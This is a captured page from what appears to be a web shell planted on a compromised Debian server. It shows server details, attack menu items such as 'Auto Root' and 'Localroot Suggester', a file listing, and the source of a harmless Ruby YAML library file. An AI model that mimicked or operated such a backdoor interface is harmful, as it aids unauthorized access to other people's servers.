Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
ruby /
2.3.0 /
psych /
Delete
Unzip
Name
Size
Permission
Date
Action
handlers
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
json
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
nodes
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
visitors
[ DIR ]
drwxrwxrwx
2022-03-20 10:35
class_loader.rb
1.91
KB
-rw-r--r--
2021-12-06 00:55
coder.rb
2.05
KB
-rw-r--r--
2021-12-06 00:55
core_ext.rb
782
B
-rw-r--r--
2021-12-06 00:55
deprecated.rb
2.52
KB
-rw-r--r--
2021-12-06 00:55
exception.rb
265
B
-rw-r--r--
2021-12-06 00:55
handler.rb
7.05
KB
-rw-r--r--
2021-12-06 00:55
nodes.rb
2.36
KB
-rw-r--r--
2021-12-06 00:55
omap.rb
76
B
-rw-r--r--
2021-12-06 00:55
parser.rb
1.67
KB
-rw-r--r--
2021-12-06 00:55
scalar_scanner.rb
4.27
KB
-rw-r--r--
2021-12-06 00:55
set.rb
75
B
-rw-r--r--
2021-12-06 00:55
stream.rb
924
B
-rw-r--r--
2021-12-06 00:55
streaming.rb
668
B
-rw-r--r--
2021-12-06 00:55
syntax_error.rb
586
B
-rw-r--r--
2021-12-06 00:55
tree_builder.rb
2.08
KB
-rw-r--r--
2021-12-06 00:55
versions.rb
92
B
-rw-r--r--
2021-12-06 00:55
visitors.rb
237
B
-rw-r--r--
2021-12-06 00:55
y.rb
191
B
-rw-r--r--
2021-12-06 00:55
Save
Rename
# frozen_string_literal: false require 'psych/nodes/node' require 'psych/nodes/stream' require 'psych/nodes/document' require 'psych/nodes/sequence' require 'psych/nodes/scalar' require 'psych/nodes/mapping' require 'psych/nodes/alias' module Psych ### # = Overview # # When using Psych.load to deserialize a YAML document, the document is # translated to an intermediary AST. That intermediary AST is then # translated in to a Ruby object graph. # # In the opposite direction, when using Psych.dump, the Ruby object graph is # translated to an intermediary AST which is then converted to a YAML # document. # # Psych::Nodes contains all of the classes that make up the nodes of a YAML # AST. You can manually build an AST and use one of the visitors (see # Psych::Visitors) to convert that AST to either a YAML document or to a # Ruby object graph. # # Here is an example of building an AST that represents a list with one # scalar: # # # Create our nodes # stream = Psych::Nodes::Stream.new # doc = Psych::Nodes::Document.new # seq = Psych::Nodes::Sequence.new # scalar = Psych::Nodes::Scalar.new('foo') # # # Build up our tree # stream.children << doc # doc.children << seq # seq.children << scalar # # The stream is the root of the tree. We can then convert the tree to YAML: # # stream.to_yaml => "---\n- foo\n" # # Or convert it to Ruby: # # stream.to_ruby => [["foo"]] # # == YAML AST Requirements # # A valid YAML AST *must* have one Psych::Nodes::Stream at the root. A # Psych::Nodes::Stream node must have 1 or more Psych::Nodes::Document nodes # as children. # # Psych::Nodes::Document nodes must have one and *only* one child. That child # may be one of: # # * Psych::Nodes::Sequence # * Psych::Nodes::Mapping # * Psych::Nodes::Scalar # # Psych::Nodes::Sequence and Psych::Nodes::Mapping nodes may have many # children, but Psych::Nodes::Mapping nodes should have an even number of # children. # # All of these are valid children for Psych::Nodes::Sequence and # Psych::Nodes::Mapping nodes: # # * Psych::Nodes::Sequence # * Psych::Nodes::Mapping # * Psych::Nodes::Scalar # * Psych::Nodes::Alias # # Psych::Nodes::Scalar and Psych::Nodes::Alias are both terminal nodes and # should not have any children. module Nodes end end